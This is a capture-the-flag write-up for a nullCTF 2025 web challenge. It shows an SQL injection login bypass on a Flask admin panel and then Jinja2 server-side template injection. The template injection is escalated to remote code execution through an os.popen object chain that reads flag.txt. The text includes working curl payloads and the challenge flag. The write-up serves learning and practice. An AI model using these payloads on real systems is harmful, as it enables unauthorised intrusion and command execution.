//nullCTF 2025 – s1mple (Web)
>Challenge Overview
-
Category: Web
-
Author: mrbgd
-
Remote:
http://public.ctf.r0devnull.team:3023/ -
Goal: Retrieve the flag
nullctf{…}from a Flask-based admin interface. -
Key Vulns: SQL injection bypass → authenticated Server-Side Template Injection (SSTI) leading to RCE.
>Tooling & Setup
All interaction happened from the provided Ubuntu box.
-
CLI utilities:
curl,ffuf,flask-unsign(not ultimately needed),sed. -
Wordlists:
SecListsrepo for enumeration (not required after finding logic bugs).
>Step 1 – Recon the Landing Page
curl http://public.ctf.r0devnull.team:3023/
Returned a styled "Atmin panel" login form with POST-only fields and no obvious hints. Static assets (/static/styles/design.css) and robots.txt had nothing interesting.
>Step 2 – Brute Force? Nope.
I prepared for directory fuzzing with ffuf + SecLists, but stopped once I noticed the login provided detailed flash messages. Testing credentials (username=a&password=b) yielded invalid credentials, suggesting unsanitized inputs. That hint made SQLi the first real target.
>Step 3 – SQL Injection Login Bypass
Testing a basic payload directly in the login POST succeeded:
curl -i -X POST \
-d "username=' or 1=1 -- -&password=x" \
http://public.ctf.r0devnull.team:3023/
The server responded with 302 Redirect → Location: dashboard, plus a new session cookie. Visiting /dashboard with that cookie rendered an admin dashboard.
>Step 4 – Dashboard Recon
/dashboard contained:
-
Welcome header, logout button, search form (
GET ?search_item=). -
A log of all user queries, clearly reflecting unescaped inputs such as
{{7*7}}, raw SQL payloads, and even template expressions. That leak hinted strongly at template rendering without sanitization. -
No direct flag exposure.
Exploring authenticated links discovered /profile (static info) and /page, a simplified dashboard with another search_item parameter.
>Step 5 – Confirm SSTI on /page
The /page endpoint echoed input verbatim, so I tested Jinja2 arithmetic:
curl -s -H "Cookie: session=<cookie>" \
"http://public.ctf.r0devnull.team:3023/page?search_item={{7*7}}"
The rendered HTML displayed 49, confirming SSTI with code execution capability.
>Step 6 – Gain RCE via Jinja Object Chain
Leveraged the classic Jinja escape hatch to import os, execute shell commands, and read files:
curl -s -H "Cookie: session=<cookie>" \
"http://public.ctf.r0devnull.team:3023/page?search_item=%7B%7Bself.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()%7D%7D"
The response listed the application directory contents, including flag.txt.
>Step 7 – Read the Flag
Same gadget, now with cat flag.txt:
curl -s -H "Cookie: session=<cookie>" \
"http://public.ctf.r0devnull.team:3023/page?search_item=%7B%7Bself.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()%7D%7D"
Output:
nullctf{1nd33d_1t_w4s_th4t_s1mpl3}
>Final Flag
nullctf{1nd33d_1t_w4s_th4t_s1mpl3}